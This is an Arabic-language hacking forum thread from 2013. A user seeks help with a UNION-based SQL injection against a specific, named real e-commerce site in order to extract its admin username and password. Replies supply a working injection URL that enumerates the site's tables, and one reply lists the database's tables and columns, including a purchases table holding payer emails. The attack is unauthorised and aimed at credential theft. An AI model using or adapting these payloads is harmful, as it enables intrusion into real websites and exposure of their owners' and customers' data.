:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   [مشكلة] مشكلة فى حقن الموقع بثغرة ال SQL (http://www.vbspiders.com/vb/t67891.html)

Erorr 06-27-2013 11:42 PM

مشكلة فى حقن الموقع بثغرة ال SQL
 
السلام عليكم و رحمة الله و بركاته

اانا عندى مشكلة فى حقن الموقع

انا شوفت الموقع مصاب الاول
وطلعت عدد الاعمدة و طلعت العمود المصاب

و طلعت اصدار القاعدة و كلة

بس اما اجى اعمل الامر علشان استخرج الادمن مش بيجى .. الصفحة بتبقى بيضاء

و هى صورة


http://im36.gulfup.com/GML8T.jpg



ارجو الحل

و هى الكود اللى كتبتة


كود:

http://www.henryyanart.com/product.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+column_name+LIKE+CHAR%2837,%20112,%2097,%20115,%2037%29--


aircrack -ng 06-28-2013 12:53 AM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
شوف دورة فولكانو

Erorr 06-28-2013 11:54 AM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
شوفتها اخى

انا عاوز اعرف دى فلترة و الا ايه ؟؟؟

و الا دى انهى نوع من المشاكل و يا ريت الحل؟

aircrack -ng 06-28-2013 01:26 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
كود:

http://www.henryyanart.com/product.php?id=-1+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11+from+information_schema.tables%20where%20table_schema=database%28%29--

Erorr 06-28-2013 03:00 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
اخى انا عاوز اطلع الادمن و الباص مش عاوز قاعدة البيانات

aircrack -ng 06-28-2013 05:00 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
اقتباس:

المشاركة الأصلية كتبت بواسطة Erorr (المشاركة 463757)
اخى انا عاوز اطلع الادمن و الباص مش عاوز قاعدة البيانات

وانت شايف حقنتي بعرضلك قاعدة البيانات
انا عرضتلك الموجود داخل قاعدة البيانات

mido868 06-28-2013 05:22 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
يرجى العلم انك لم تكتب الحقن الذى استخدمتها لكى نظهر لك المشكلة ممكن من الكود او فلترة او غير ذلك
بس الافضل تشوف الكود الخاص بك والكود الخاص ايركراك (عبد الصمد) وتشوف الاختلاف
لايوجد سوى 3 جداول
events1
products2,
3 purchases
الجدول الاول يحتوى على
id,type,name,location,address,max_students,quantit y,price,model_fee,deposit,deposit_date,date_time,d ate_words,description,fee_breakdown,host_email,hos t_link,visible


الجدول الثانى
id,name,subname,image,quantity,price,shipping,camx _shipping,int_shipping,details,description


الجدول الثالث
id,txn_id,payment_amount,payment_currency,item_nam e,receiver_email,payer_email

Erorr 06-28-2013 05:39 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
يعنى اخى ما فى user و password ?

طيب اخى انا عاوز دورة تخطى الفلترة علشان دورة الحقن المتقدم اللى فى المنتدى الروابط مش شغالة

المفترس 06-28-2013 07:51 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
اخي لا يوجد فلترة ولا شيء
خد نصيحة عبد الصمد وتابع دورة فولكانو

Erorr 06-28-2013 08:37 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
طيب اخى ممكن رابط الدورة

المفترس 06-29-2013 12:31 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
http://www.vbspiders.com/vb/f236.html

Erorr 06-29-2013 06:44 PM

رد: مشكلة فى حقن الموقع بثغرة ال SQL
 
خلاص اخى راح اتعلم الاول الدورة شكرا

و يرجى غلق الموضوع


الساعة الآن 09:39 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0